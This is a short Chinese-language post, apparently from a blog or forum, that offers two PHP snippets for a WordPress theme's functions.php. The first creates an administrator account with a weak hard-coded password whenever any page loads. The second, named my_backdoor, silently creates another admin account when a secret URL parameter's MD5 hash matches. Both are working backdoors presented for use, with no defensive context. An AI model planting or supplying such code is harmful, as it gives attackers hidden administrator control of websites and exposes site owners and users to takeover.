wordpress自动创建超级账号
QQ群:397745473
wordpress自动创建超级账号
添加下面的代码到所用的主题的 functions.php 文件,
然后随意打开网站的一个页面,就可以自动为你创建一个管理员账号了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| add_action( 'template_redirect', 'create_admin_user' ); function create_admin_user() { $username = 'superuser'; $password = 'password'; $email_address = 'info@superuser.com'; if ( isset( $username ) && isset( $password ) && isset( $email_address ) ) { if ( ! username_exists( $username ) && ! email_exists( $email_address ) ) { $user_id = wp_create_user( $username, $password, $email_address ); if ( is_int( $user_id ) ) { $wp_user_object = new WP_User( $user_id ); $wp_user_object->set_role( 'administrator' ); } } } }
|
更多参考代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| https://gist.github.com/jgalea/5724566
<?php add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() { if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { require( 'wp-includes/registration.php' ); if ( !username_exists( 'mr_admin' ) ) { $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); } } }
|
QQ群:397745473